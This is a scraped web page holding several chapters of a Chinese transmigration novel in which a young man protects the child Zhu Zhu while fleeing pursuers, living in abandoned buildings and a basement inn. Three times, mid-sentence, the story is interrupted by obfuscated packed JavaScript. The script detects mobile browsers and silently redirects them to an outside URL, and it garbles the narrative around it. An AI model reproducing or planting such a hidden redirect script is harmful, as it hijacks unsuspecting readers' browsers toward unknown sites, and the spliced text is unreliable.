女人抱起双臂,徐徐开口:“通讯器的信用点在我们这种小店里面是可以随便刷的,在其他地方就不一定了,不知道你对我们这里了解多少,我可以给你提一个醒,在公共交通上和某些比较大的公共场合里,谨慎使用别人的通讯器,有些人的通讯器实名登记过,只要被发现使用者和登记者不是一个人,那些人就会当场把你扣下来。” 程书阑一愣。 他想起原主和帽子男的通讯器都无法联系通讯录以外的人,难道这就是实名登记过的原因? 不过原主的记忆中没有这一点。 实际上原主的很多记忆都有一点模糊,不知道是不是他和这具身体还没完全兼容的缘故。 女人的话也让他想起什么,他问:“我在这里使用了那个人的信用点,他会知道吗?” “如果是实名登记过的通讯器,那么会。”女人笃定地说,“实名登记过的通讯器都带定位功能,要是遗失了,可以直接查看定位,而且定位是实时更新的,除非通讯器坏掉或者没有信号。” 程书阑:“……” 女人见他沉默,说道:“如果你拿着棘手,我可以帮你处理掉这个通讯器,并且给你五百信用币。” 信用币是实体币,几乎不在内城流通,但在外城的使用率很高。 程书阑没多犹豫,点了点头:“麻烦你了。” 完后又说一句。 “对了,这个通讯器里有三十几万信用点。” 女人听懂了他的言外之意,笑了一声,解释道:“五百信用币只是买下通讯器的钱,里面的三十几万信用点可动不了,不信你来试试。” 说着,女人调出五千信用点的账单,对他比了一个手势。 程书阑拿着通讯器碰了一下柜台上的小圆片。 小圆片毫无反应。 程书阑翻过通讯器一看,上面居然弹出一层淡淡的蓝光,半透明的字体提示扫脸。 程书阑:“……” 女人补充道:“实名登记过的通讯器一般都会设置每日消费上限。” 程书阑却想到了他想用帽子男的信用点买诸珠的计划,要是计划顺利进行,那么在结账的时候,是不是也会露馅? 想到这些,他后知后觉地惊出一身冷汗。 拿了女人给的五百信用币,程书阑没多逗留,抱起被外套裹得严严实实的诸珠,转身离开超市。 8.精神力是什么? 程书阑浑身疲惫,迫切地想要找个地方休息,可留在这里肯定不行,要是那些人追上来,他和诸珠根本无处藏身。 眼下也不知道应该去哪儿,他只能尽量朝安全点的方向走。 第9城很大,从地图上看,更像是以前的一个省,由分布在各个地方的城市拼凑而成。 安全点的位置在第9城最南边,目前他在第9城中间偏北的地方,要去安全点的话,几乎是跨过了大半个第9城。 路途遥远啊! 程书阑已经恢复不少力气,却也架不住抱着诸珠一直走,何况他背上还有一个装得胀鼓鼓的背包。 走出一段距离,他停下来拍了拍怀里诸珠的背。 诸珠把脸埋在他的脖颈间,拍了好一会儿才有一点反应。 “爸爸……”诸珠含含糊糊地喊了一声。 “起来了。”程书阑说。 诸珠抬起头,露出一张已经变干净许多的小脸,左边脸颊上的小黑痣也露了出来,想也知道刚才往程书阑身上擦了多少灰尘。 但他困得厉害,眼皮重得睁不开,只能抬高下巴,眯缝着眼嘀咕:“好,爸爸……” “能自己下来走吗?” “能……” 程书阑弯腰把诸珠放到地上,结果小孩那两只穿着小皮鞋的脚刚落地,小身板就歪歪斜斜地往旁倒。 程书阑把人抓住:“站好。” “站好了,站好了……” 诸珠也吓了一跳,立即睁开眼睛,惊慌失措地四处瞧了瞧,然后赶紧抓住程书阑的手。 程书阑看诸珠身上的大衣在地上堆了半截,连走路都不方便,只好拿回来穿到自己身上。 他从背包里翻出一件小外套给诸珠穿上。 诸珠抬起双手,眼睛因太困而又开始要眯不眯,但视线始终追随程书阑的动作。 程书阑忙完一通,吐出口气,感觉照顾小孩真是太麻烦了。 他没有弟弟妹妹,和亲戚家的小孩来往也少,还是第一次这么费心费力地独自带孩子。 背上背包,他牵起诸珠的手:“走了。” 诸珠用力回握住他的手,仰起小脸:“爸爸,我们去哪里呀?” “找个地方休息。”程书阑说。 其实他也没有多少头绪,刚来这个世界,除了脑子里多出一部分原书的内容和原主的记忆外,他什么都没有,每走一步都像是在摸着石头过河。 他有考虑过找家旅馆休息,可转念一想,也不知道那些人的势力范围有多广,万一那些人已经和这里的旅馆打过招呼,那他岂不是自投罗网? 剩下的办法只有像之前一样,找个没人的地方暂时落脚。 好在他们一路走来,都有看到很多废弃楼房。 又走了一段距离,程书阑带着诸珠进了一片没人居住的矮楼,在巷子里拐了几道弯后,终于找到一家门没上锁且看上去没那么凌乱的屋子。 只是屋子废弃很久,门窗上的灰尘已经凝固成一块块斑驳的痕迹,地上也堆了厚厚一层,随着他们进去的脚步,尘土乱飞,诸珠被呛得直咳嗽。 程书阑弯腰伸手捂住诸珠口鼻,等诸珠咳嗽完了,说道:“自己捂着。” 诸珠点头,连忙有样学样地用双手紧紧捂住自己的下半张脸。 程书阑让诸珠在门口等着,自己进去逛了一圈,发现这个屋子的面积不大,一室一厅,目测不超过四十平方米,大多东西还在,但放置太久,显然不能用了。 他试着拧了一下卫生间里的水龙头,意料之中的没有出水。 回到外面,诸珠还在门口站着,保持着双手捂脸的姿势,一双大眼睛滴溜溜地跟着他转。 程书阑招手:“过来。” 诸珠朝他跑来。 程书阑放下背包,在里面掏了半天,掏出一大一小两个面罩,他和诸珠戴上刚好合适。 “今晚就睡这里了,可以吗?”程书阑蹲在地上,一边继续掏垫子一边对诸珠说。 诸珠点头如捣蒜:“只要和爸爸一起,我睡哪里都可以,我只想和爸爸一起。” 程书阑闻言,忍不住扭头看了看诸珠。 诸珠也一直目不转睛地盯着他,对上他的视线后,用歪了歪头的动作表示自己的疑惑。 程书阑想问一些事很久了,之前没找到机会,现在终于有时间好好整理思绪。 不过也不急于眼下。 他翻出一瓶水在地上洒了一些,看灰尘飞得没那么厉害了,便将垫子铺到地上。 垫子很薄,卷起来还没巴掌大,铺开了有一米多宽,再在上面铺上一层毯子,应该能将就一晚上。 他用毛巾给自己和诸珠简单擦洗了下,只脱了鞋,一大一小穿着衣服坐上毯子。 毯子很大,扯过一半还能当被子盖。 这会儿已是下午六点多,窗外的天色有了要黑的趋势,两人摘掉面罩,就水吃完一堆饼干和面包,并排躺下休息。 诸珠把脑袋枕在程书阑的一条手臂上,在他怀里拱来拱去,找到舒服的姿势后,才心满意足地抱住程书阑的腰。 程书阑颇不自在地动了动手臂。 诸珠一僵,立即紧张抬头。 “没事。”程书阑拍了拍他的背。 诸珠闻言,小心翼翼的表情这才有所放松。 程书阑还在想今天的事。 那几个人就是诸珠杀的吧?除了诸珠,也不可能是其他人了。 可诸珠能用精神力杀人? 在这个世界里,beta相当于以前的普通人,alpha和omega则都进化出了精神力,但ao的精神力大不一样,alpha的精神力偏向进攻、控制等方面,属于进攻型,omega的精神力偏向保护、治愈等方面,属于防守型,如果后天没有专门的老师教导也没有进行过专门的训练,alpha和omege很难在各自擅长的领域内往外延伸。 当然,延伸也需要精神力达到一定等级才行。 他非常确定诸珠是omega,一个只有四五岁大的omega,是怎么做到一个alpha才能做的事? “诸珠。”程书阑轻轻扯了一下诸珠的头发。 诸珠要睡不睡,半眯着眼抬头看他:“爸爸。” “今天上午我们在你被关的那个房间里,你还记得你是怎么做的吗?”程书阑看诸珠一脸茫然,尽量说得详 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662553|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细,“不是有几个人按着你吗?后来他们都倒下了,你仔细回忆一下,你是怎么做到的?” 诸珠绞尽脑汁地想了好一会儿,摇了摇头:“我不知道,我什么都没做。” 程书阑安静片刻,转而又问:“你知道精神力吗?” 诸珠口齿不清地说:“爸爸,精神力是什么呀?” 程书阑:“……” 好吧,对牛弹琴了。 眼看诸珠的眼睛又要合上,他赶紧又扯一下诸珠的头发。 诸珠被扯得脑袋往后仰了一下,眼皮下的眼珠左右晃动,挣扎许久,总算睁开眼睛。 “爸爸……” “你还记得你来这里前在哪儿吗?”程书阑问。 诸珠艰难地想了想,还是摇头:“我不记得了,我不知道我在哪里。” 程书阑盯着诸珠脸上的小黑痣看了一会儿,脑子里冷不丁浮现出原书的内容,他问:“你知道诸玉吗?” 诸玉就是原书里诸珠的omega爸爸。 “诸玉。”诸珠明显呆了一下,睫毛抖了抖,声音也低下去,“是爸爸……” 程书阑还想追问,可看诸珠情绪低落,到底没能再问出来。 他一边哄着诸珠入睡一边胡思乱想。 诸珠这个炮灰受在原书里的戏份很多,但原主和诸玉的出场次数就很少了,他总结下来,只知道原主和诸玉不是因相互喜欢而结婚,而是某天诸玉意外迎来发情期,碰巧遇到原主,两人受到影响产生深度结合,那次之后,诸玉有了诸珠,两家人不得不开始商量婚事。 然而原主和诸玉的感情并不好,也都不怎么重视诸珠这个孩子。 诸玉走得早,只剩原主独自抚养诸珠,原主不喜欢和诸玉长相相似的诸珠,经常对诸珠非打即骂。 所以诸珠长大后的性格会变得极度扭曲。 程书阑轻叹一声,面对现在只有四五岁的诸珠,他实在想象不出原书里那个心狠手辣、蛇蝎心肠的炮灰受也是诸珠。 “爸爸……”怀里传来诸珠的声音。 程书阑以为在喊自己,应了一声,结果低头一看,诸珠两眼紧闭,睡得很沉。 他索性也闭上眼。 睡觉睡觉。 睡梦中,诸珠感觉到自己在被一双手温柔地抱着,他窝在那个人怀里,鼻尖都是那个人身上清新的气味。 他仰头能看到对方白净的皮肤。 对方低头看他,五官模糊不清,但声音清润又柔和,带着绵绵笑意。 “我的珠珠,我的宝贝,你要好好长大,爸爸会一直陪着你。” 诸珠努力睁大眼睛,想看清楚那个人的长相,可除了左边脸颊上那颗小小的黑痣外,什么都看不到。 一觉睡到第二天下午。 程书阑醒来时,头痛得要命,他揉着太阳穴坐起来,瞥了一眼旁边睡得四仰八叉的诸珠,只觉筋疲力尽。 昨天晚上诸珠睡到一半突然大哭,嘴里一直喊着爸爸,想要爸爸,程书阑哄了半天不见效果,担心诸珠的哭声吸引来其他人,只好爬起来抱着诸珠在屋子里转来转去。 不知道转了多久,诸珠是安静了,可他人也快废掉了。 9.离开这里 休息了半个多小时,诸珠依然睡得死沉。 程书阑伸手在诸珠鼻下探了探。 有气。 他松了口气,反手把诸珠摇醒:“起来了。” 诸珠从毯子上爬起来,一副迷迷瞪瞪的样子,揉了半天眼睛,扭头冲着程书阑的背影喊了一声爸爸。 程书阑擦洗完脸,往毛巾上倒了水,对诸珠招手:“过来洗脸。” 诸珠起身就朝他跑。 程书阑忙说:“把鞋穿上!” 诸珠马上停下动作,听话地坐到毯子边缘开始穿鞋。 程书阑的目光从诸珠脚上掠过,刚收回,却又猛地一顿,他转头细看,眉头瞬间拧紧。 “等一下。”程书阑将手里的东西往背包上一搁,大步上前,蹲下身抓起诸珠的右脚。 扯开袜筒往里一看。 只见诸珠的脚腕上赫然印着一圈刺目的红痕,像是绳子勒出来的。 那痕迹不偏不倚,正好卡在袜口边缘,许是袜口反复摩擦伤处,那一圈皮肤已经微微肿起,泛着不自然的红。 难怪昨天诸珠走得那么慢。 程书阑检查了诸珠全身,居然忘记检查被绳子捆过的双脚了。 他连忙扯开诸珠左脚的袜筒,也有红痕,但看上去没有右脚的严重。 要不是白袜上渗出了一点血迹,他都不知道诸珠的脚腕上有伤。 想到昨天自己拉着诸珠走了那么久的路,程书阑心里懊恼不已,起身去翻背包里的药包。 给诸珠上药时,两人都没说话。 直到把药上完,程书阑才后知后觉地感受到诸珠的沉默,他抬头看去,发现那双大眼睛不知何时蒙上了一层水雾。 昨晚哭了太久,诸珠的眼睛本就红肿,这会儿看着跟两只泡过水的核桃似的。 诸珠涨红着脸,紧紧咬着下嘴唇,拼命不让自己发出一点声音。 “疼吗?”程书阑问。 话音刚落,大颗大颗的眼泪从诸珠眼里掉出来,啪嗒啪嗒地落在程书阑的手背上。 诸珠重重点了下头。 程书阑直接用手背抹掉诸珠脸上的泪痕,放轻声音说道:“怎么不跟我说?” 诸珠没忍住发出一声呜咽,抖着肩膀,打着哭嗝开口:“我……我怕爸爸嫌弃我……不要我了……” “我什么时候说过不要你了?” “你说过。”诸珠小声控诉,“你经常说要把我丢掉。” “……”程书阑一噎,估计都是原主说的,这下账都算在他头上了。 唉。 谁让他占了原主的身体。 “以后有哪里不对要及时告诉我,知道吗?”程书阑仔细叮嘱,“你这样忍着,伤也不会自己好,后面变严重了,会更加疼,你及时告诉我,我才能及时帮你处理,要是昨天处理了,说不定现在就不疼了。” 诸珠似懂非懂地点头:“我知道了,爸爸。” “别哭了。”程书阑说。 “我听爸爸的话,我不哭了!”诸珠用手胡乱抹了抹脸,然后顶着一双核桃眼朝程书阑挤出一抹讨好的笑。 程书阑揉了揉他的脑袋,帮他把袜子脱了,只穿着小皮鞋,把人牵到门口洗脸。 吃完东西,时间走到下午三点半,程书阑原本计划趁着天亮再走一段路,可现在诸珠脚上有伤,他没办法抱着诸珠走上太久。 而且他也不敢保证后面能找到这么合适的落脚地。 想来想去还是决定先缓一天。 卧室的门还能上锁,里面有一个掉了一半门的衣柜和一张靠墙的床,床下空间不大,正好可以爬进一个小孩。 程书阑把背包塞进床下,又把诸珠拉到床边,蹲下身说:“我等会儿要出去打听一些事情,你在这里等我,就在外面休息,但要是来人了,赶紧进来把门锁上,再躲到床底下。” 话音未落,诸珠扑到他身上,圈上他的脖子,急吼吼地说:“爸爸,我和你一起,我不要在这里!” “你的脚受伤了。” “我可以走!”诸珠害怕极了,有些语无伦次,“我能走好快,还能走好远,我比昨天的爸爸还能走!” “诸珠!”程书阑轻呵。 诸珠蓦地一静,犹如一下子被人按下静音键,抿紧嘴唇,只睁圆了一双水汪汪的眼睛。 程书阑深吸口气,说道:“你看我之前丢下你了吗?” 诸珠嘀咕:“没有。” “你在那么危险的地方,我都去找你了,好不容易把你带出来,我怎么可能又把你丢了?”程书阑说,“我向你发誓,不管发生什么事,我都不会丢下你,好吗?” 诸珠可怜兮兮地望着他。 “要是你脚上没伤,我就带你一起了,可你脚上有伤,要是遇到那些人,我还要抱着你跑,你觉得我们这样跑得过那些人吗?” 诸珠小幅度地摇了下头。 “所以你在这里等我,我打听完事情,立马回来。”程书阑指了一下床下,“再说东西都在这里,我还要回来拿呢。” 诸珠有些不情不愿,但还是答应了,把程书阑送到门口,他朝程书阑伸手。 程书阑以为小孩想说悄悄话,于是弯腰过去。 结果诸珠搂住他的脖子,偏头在他脸上用力亲了一口,发出一道响亮的啵声。 “爸爸,我等你回来。”诸珠说。 程书阑从七弯八拐的巷子绕出去,走到大街上,他找路人问了一下,一路打听到一个有点像车站的地方。 但确切地说,这里更像一片空地,只是上面零零散散地停了十来辆车。 基本上都是改装过的越野车,涂着五花八门的颜色,车头和车尾甚至改得奇形怪状。 有三四个人聚在一处聊天,瞧见程书阑后,冲他抬了抬下巴:“有事?” 程书阑在距离那些人两三米的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“别小看清理污染源的任务,报酬丰富着呢。”旁边的人补充道。 程书阑对几人说完谢谢,转身离开了空地。 走在回去的路上,他拿出通讯器看了看。 没有信号。 他都怀疑这个通讯器已经坏掉了。 眼下用通讯器求助的方法行不通,他只剩下一条去安全点求助的路。 可怎么过去是个大问题。 公共交通便宜,却需要用通讯器刷信用点,私人交通不需要刷信用点,却贵得离谱。 当然他也可以带着诸珠慢慢走过去。 只是三百公里的路…… 不知道要走到何年何月,估计还没走到安全点,他和诸珠就饿死在路上了。 想到这里,程书阑脚步一顿,纠结片刻,又转身朝空地方向走去。 10.流浪父子 那几个人还在说话,瞧见程书阑回来,也不意外,一开始的人问:“改变主意了?” “我们明天中午走。”程书阑说。 “可以。”那个人问,“两个人吗?” “对。” “那明天中午十二点就在这里集合,怎么样?”那个人说,“要是你们住在附近,我也可以过去接你们。” “就在这里集合吧。”程书阑婉拒了那个人的好意,其实走过来不算近,可他一个人带着诸珠,又没住在旅馆里,还是谨慎点好。 那个人没多说什么,只让程书阑先交了五十信用币的定金。 一切谈妥,程书阑原路返回那片矮楼,七弯八拐地回到屋子,里面居然空无一人,连他之前铺在地上的垫子和毯子都不见了。 地上灰尘多,有一道明显的拖拽痕迹,朝着里面那间屋子去了。 程书阑看得心里咯噔一下,来不及从兜里摸枪,抬脚就朝里屋走去。 走到门口,他才在一片慌乱中想起什么,赶紧从大衣兜里摸出手枪。 他单手握枪,指节因用力而微微发白,另一只手小心翼翼地探向门把手。 没能拧开。 门从里面反锁了。 程书阑这才意识到什么,将哽在喉头的那口气慢慢吐出,他在门板上轻叩两下。 “诸珠?” 话音未落,屋里便传来些微动静,不一会儿,门锁发出咔嚓一声轻响,门从里面打开。 “爸爸!”诸珠扑进他怀里,抖着声音说,“我还以为坏人来了,吓死我了。” 程书阑摸了摸诸珠在自己身上乱拱的脑袋,摸到一手灰尘,只好拍了拍诸珠的头发。 诸珠并不挣扎,还仰起脑袋由着他拍。 程书阑看到诸珠的一张小脸又变成了脏兮兮的样子,身上的衣服更是惨不忍睹。 他沉默片刻,放弃了继续拍的想法。 都这么脏了,拍也拍不干净。 算了。 先忍忍吧。 这么想着,他只理了理诸珠的头发,然后问道:“我走后有人来吗?” “没有。” “那我放在地上的东西呢?” “我收起来了。”诸珠抬起下巴,小表情里有着得意,他眉飞色舞地说,“爸爸,那些东西很重要吧?你一走,我就把它们收起来了。” 程书阑闻言,心里莫名有了一种不好的预感,他下意识看向里屋。 里屋不大,两三个家具就填满了,他站在门口,可以清楚看到家具上面什么都没有。 “……”这次沉默很久,程书阑才说,“哦?你收到哪儿了?” 诸珠高兴地跑进去,蹲到床边,撅起屁股,哼哧哼哧地从床下拉出裹成一团的垫子和毯子。 床下都是陈年老灰,深色的垫子和毯子也都成了灰白色,每拖出一寸都扬起一片飞舞的灰尘。 程书阑:“……” 诸珠好不容易把垫子和毯子拽出来,已经气喘如牛,小脸涨得通红,可声音里溢满喜悦:“爸爸,我把它们收在床底下了,和我们的包包放在一起!” 程书阑:“……” 他的好大儿啊! 东西都弄脏了,今晚他们睡什么?! 他们可没有备用的! 程书阑有些心灰意冷,但仔细一想,问题也不大。 反正他俩都脏成这样了,走出去还可能被当成流浪汉,脏不脏不影响,他俩身上也不见得有多干净。 天快黑时,程书阑带着诸珠简单擦洗完脸和身上,抖了抖垫子和毯子上的灰尘,重新铺到地上,两人躺了上去。 诸珠自觉滚进程书阑怀里,找了个舒服的位置后,跟章鱼似的手脚并用缠上程书阑。 不得不说,习惯真是一个可怕的东西。 昨晚程书阑还不适应被诸珠抱着,今晚竟然就已没有任何不适了。 说起来晚上气温骤降,一条毯子起不了太大的保暖作用,程书阑怀里抱着诸珠,像抱着一个暖手袋一样。 还挺舒服。 就是有一点—— 程书阑伸手扯了扯诸珠的头发,诸珠的困意来得快,此时眼皮正在疯狂打架,被他扯得头往后仰,嘴巴也不自觉地张开一点。 “爸爸……”诸珠吃力地撑起一半眼皮,很轻微地叹出口气,话里居然夹杂了一丝不易察觉的无奈,“怎么啦?” “晚上不准哭了。”程书阑严肃地叮嘱,“我们明天要赶路,到新地方后还要看那边的情况,所以我今晚没有精力哄你睡觉。” 诸珠拧起眉头,有些疑惑地说:“爸爸,我没哭呀。” “你昨晚就哭了。” “我没哭呀。” “你睡觉的时候哭了。”程书阑说,“你不记得了?” 诸珠歪了歪头,像在配合程书阑的话,很认真地回忆了下,在那双重得不听使唤的眼皮合上前,他说:“我没哭呀。” 程书阑:“……” 他把诸珠的脑袋往自己怀里一按。 “算了,睡觉吧。” “爸爸晚安……”诸珠的话音还没落下,人就睡着了。 这天晚上,诸珠哭是没哭,却一直在程书阑身上拱来拱去,睡得极不老实。 程书阑断断续续地醒了很多次,也不知道什么时候彻底睡着的,等他真正醒来,外面天光大亮。 扭头一看,诸珠不知何时滚到毯子外面,四仰八叉地睡在满是灰尘的地板上。 程书阑:“……” 大清早的,他就感觉自己的太阳穴在突突地跳了。 哦不—— 他拿起通讯器看了一眼。 不是大清早的,现在都上午十一点半了。 等等…… 程书阑顿住,又看一眼通讯器。 都十一点半了! “诸珠!起来了!” 程书阑大喊一声,同时一骨碌地从毯子上爬起来,抄起地上的诸珠开始收拾东西。 他以最快的速度带着诸珠赶往昨天那片空地,可惜还是迟到了十几分钟。 空地上的车辆和昨天差不多,那个男人把自己的越野车停在最外面,双手抱胸站在车前。 远远瞧见跑得气喘吁吁的程书阑,男人的眉头拧成了一个结。 “不好意思……实在不好意思……”程书阑上气不接下气地说,他把背上的诸珠放到地上,喘了好几口气,才又把胸前碍事的背包背回身后。 他一路跑来快累死了。 男人面色不佳,本要说些什么,可瞥见挤在程书阑脚边的诸珠后,顿时愣了一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681926|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他惊讶地看向程书阑。 程书阑个头偏高,但太瘦了,哪怕裹着一件很厚的大衣,也能看出来他的身形有多单薄,而且程书阑看着年纪不大。 有二十岁吗? 就算有二十岁,那个小孩也有四五岁了吧? 十几岁就生孩子了? 倒不是说不能十几岁生孩子,而是如今外城的生活环境越来越恶劣,大家都会尽量选择晚生或者少生,毕竟连自己的生命安全都保障不了,怎么保护孩子? 不过男人活了几十年,也见过一些为爱冲昏头的小情侣们,自个儿还在艰难地讨生活,就早早地带了一个拖油瓶。 当然,像程书阑这种独自带孩子的年轻人更是少见。 难怪把孩子带成这样…… 还以为昨晚这对父子睡在垃圾堆里。 男人啧了一声,眼神里不知道是敬佩还是同情,他没再说什么,转身打开后座车门,让程书阑带着诸珠坐上去。 诸珠觉多,一晚上没睡够,上车就倒在程书阑怀里沉沉睡了过去。 程书阑自然不敢睡,用通讯器搜了去任务中心的路,一路盯着车子往目的地走。 大约半个小时后,越野车在路边停下。 程书阑让诸珠从自己身上坐起来,摸出剩下的四百五十信用币递给前面的男人。 男人接过信用币,数了数后,还了一些回来。 “你带着孩子不容易,这一百信用币留着,够你找个便宜的旅馆住几天。”男人说。 程书阑受宠若惊,双手接过信用币,连声说了好几个谢谢。 他牵着诸珠下车,环视一圈,发现这里比之前那个地方繁华了不止一点,街道两边都是楼房,楼下都是店铺,马路上有车辆穿行,路边的行人也不像那边的行人一样浑身包裹且行色匆匆。 任务中心就在他们身后那栋最高的楼里——只是目测不到十层高。 从外面看,整栋楼都被反光玻璃覆盖,看不出里面有什么名堂,只有楼下大门敞开,许多人进出。 程书阑犹豫了下,没急着过去。 他在通讯器上搜了搜附近的旅馆,界面上跳出来不少搜索结果,却都没有标注价格。 看来只能挨家问了。 程书阑选了一家最近的,牵起诸珠的手要走,结果发现诸珠一直目不转睛地盯着一个地方,嘴巴微张,口水都要流下来了。 他顺着诸珠的目光看过去,看到了一家烤肉店。 那家烤肉店对外装了一面落地玻璃,几个穿着雪白厨师服的工作人员在里面忙碌,隔着一条马路和来往的行人,可以清楚看到烤架上冒着热烟的肉串。 程书阑只看一眼便挪开了视线。 “走了。”他扯了扯诸珠的手,“我们先找住的地方。” 诸珠艰难地收回目光,点了点头,有些焉地被程书阑牵着往前走。 程书阑扫了一眼诸珠的脚,药包的效果是有,可不知怎的,用在诸珠脚上的药效貌似没有用在他身上的药效大。 他早把诸珠的袜子扔了,这会儿诸珠脚上只穿着一双黑色小皮鞋,在泥土里走过,在灰尘里踩过,也早脏得不成样了。 定睛看去,还能发现右脚的鞋头开了口,随着诸珠走路的动作,那口子一张一闭,像极了一张在说话的嘴巴。 11.任务中心 程书阑牵着诸珠走了很久,最后终于在一个偏僻的地方找到一家最便宜的旅馆。 其他旅馆住一宿起码要一百多信用币,这家旅馆最便宜的房间只要二十五信用币。 程书阑暂时只定了三个晚上。 交完钱,老板从柜台后面绕出来,手里拎着一大串碰得叮哐直响的钥匙,领着程书阑和诸珠往走廊尽头走。 这家旅馆看得出来已经开了很久,外面老旧不说,里面也有多处墙皮脱落,露出下面灰黑且霉迹斑斑的砖石,天花板上布着许多没有打扫干净的蛛网。 在走廊上,程书阑嗅到了一股明显的霉味。 诸珠有些害怕,紧紧抱着程书阑的手,恨不得整个人都贴到程书阑身上。 程书阑几次差点被诸珠绊住,索性弯腰将人抱起来。 诸珠立马圈上程书阑的脖子,脸也贴上他的下巴。 程书阑拍了拍诸珠的背,走了一会儿,看前面的老板在一扇门前停下脚步,便跟着停了下来。 “就是这里了。”老板在钥匙圈上一阵翻找,又试了几把钥匙后,才把房间门打开,他退到一旁,取下那把钥匙递给程书阑。 程书阑连忙把诸珠放到地上,伸手接过钥匙。 他往门里看去。 里面一片漆黑,只有走廊上的光线照亮门前的一小团地方,但也足够看清楚那条往下走的楼梯以及左右两边间隔不超过两米的灰色墙壁。 这哪里是一个房间? 程书阑一愣,看向老板:“真的是这里?” “住的地方在下面,你们从楼梯下去就能看到。”老板知道程书阑在想什么,面无表情地说,“你们住的是我这里最便宜的房间类型,都在地下,想住地上的话,得换成普通房间。” 程书阑:“……” 原来是地下室。 老板问:“要换房间吗?” “不换,就这里吧。”程书阑倒是想换,可他没钱换。 老板看他进去,说道:“只要没有特殊情况,我都在外面,有什么事可以来找我。” 程书阑谢过老板,关上门,一只手牵着诸珠,另一只手拿出通讯器照明。 一大一小走下楼梯,摸到墙壁上的开关,明黄的灯光顿时照亮了眼前的空间。 这里还真是一个房间。 然而面积不大,除了一个狭窄的卫生间外,剩下地方只能容下一张床和一个桌子,连挂衣服的柜子都没有,窗户这种东西更没有。 不知道是灯光的原因还是房间太小的原因,程书阑站在床边,有些喘不上气。 房间里的空气太不流通了。 他放好东西,进卫生间里试了试水龙头,确定有水,于是喊来诸珠。 “把鞋子脱在外面,光脚踩进来。”程书阑自个儿也脱了鞋袜,光脚踩在地砖上,他手里拿着花洒喷头,一边调试水温一边吩咐诸珠。 诸珠听话地蹲下身脱掉小皮鞋,将两只鞋并拢放在门外,然后光脚踩进卫生间。 喷头里慢慢有热水出来,水蒸气很快在卫生间里氤氲起来。 程书阑松了口气,甩了甩手上的水,站直身体,转头就见诸珠在自觉脱身上的衣服了。 程书阑:“……” 他大惊失色。 “等等等等——”程书阑连喷头都顾不上拿,一把抓住诸珠身上脱了一半的衣服。 诸珠的外套脱在外面,里面穿着那件早就分不清颜色的毛衣,他双手扯着毛衣边缘,正努力想把毛衣从脑袋上扯下去。 背带裤的两条带子从他肩膀上滑落,松垮垮地垂在屁股两侧,没有裤兜的遮挡,可以看到那块露出来的雪白肚皮。 诸珠看着不胖,肚子倒是很肉。 程书阑扯着诸珠的衣服,慌张开口:“你等一下。” 诸珠保持着扯毛衣的动作,脑袋被毛衣裹住,看不见脸:“爸爸,怎么啦?” “让我想想。”程书阑说。 “想什么呀?” 当然是想这个世界的性别问题。 程书阑本来觉得自己和诸珠都是男的,诸珠年纪小,洗不好澡,他帮诸珠洗一下没什么。 可转念一想—— 诸珠是omega啊! 虽然他和诸珠算是血缘上的父子,且都是男的,但是这个世界里ao有别,他这么做还是不太妥当吧? 这么想着,程书阑关掉喷头,把诸珠身上的毛衣放下去,等诸珠的脑袋露出来,他问:“你自己洗过澡吗?” “没有。” “以前谁帮你洗澡?” 诸珠认真想了想,掰着手指头回答:“有姐姐,有阿姨……” “你还记得她们怎么帮你洗澡的吗?”程书阑说,“她们怎么帮你洗的,等会儿你就怎么自己洗,把身上脏的地方洗干净就行。” 诸珠睁着一双圆溜溜的大眼睛,一副似懂非懂的模样。 “听明白了吗?”程书阑问。 诸珠赶紧用力点头:“听明白了,爸爸。” “好样的。”程书阑拍了一下诸珠的肩膀。 诸珠听到这句夸奖的话,捏着拳头兴高采烈地在原地蹦了两下,嘴角都要咧到耳根去了。 程书阑打开花洒喷头,感受到热水流出后,把喷头挂回墙上。 他特意拿了一条新毛巾过来,担心诸珠够不着,没把毛巾搭在墙壁的架子上,而是和新准备的衣服一起放在墙角的小凳子上。 “要洗干净啊!”程书阑说完,关上卫生间门,在门外站了一会儿,没听见里面的诸珠喊他,才开始收拾东西。 诸珠那双小皮鞋早已脏得不成样,有只鞋口开裂严重,走路都很麻烦。 程书阑翻遍背包,却没找到一双备用的鞋子。 他买东西的时候太急,害怕那些人追上来,也怕拿了太多东西走不动路,所以买的多是食物和药包这类必需品。 程书阑把背包放到地上,坐在床边,从兜里翻出剩下的二十五信用币。 外城流通的信用币很像以前见过的纪念币,二十面值的信用币边缘已经磨得发亮,五面值的更小一圈。 他用拇指摩挲着币面上模糊的纹路——这些信用币不知经过多少人的手,连防伪浮雕都快磨平了。 程书阑沉默许久,叹了口气。 太穷了。 剩下这点钱别说帮诸珠买一双鞋,甚至支撑不了他们活太久。 还是得想办法挣钱。 正想得入神,身旁冷不丁传来开门声。 程书阑心下诧异,原以为诸珠要磨蹭一个多小时才能洗完澡,没想到动作这么快。 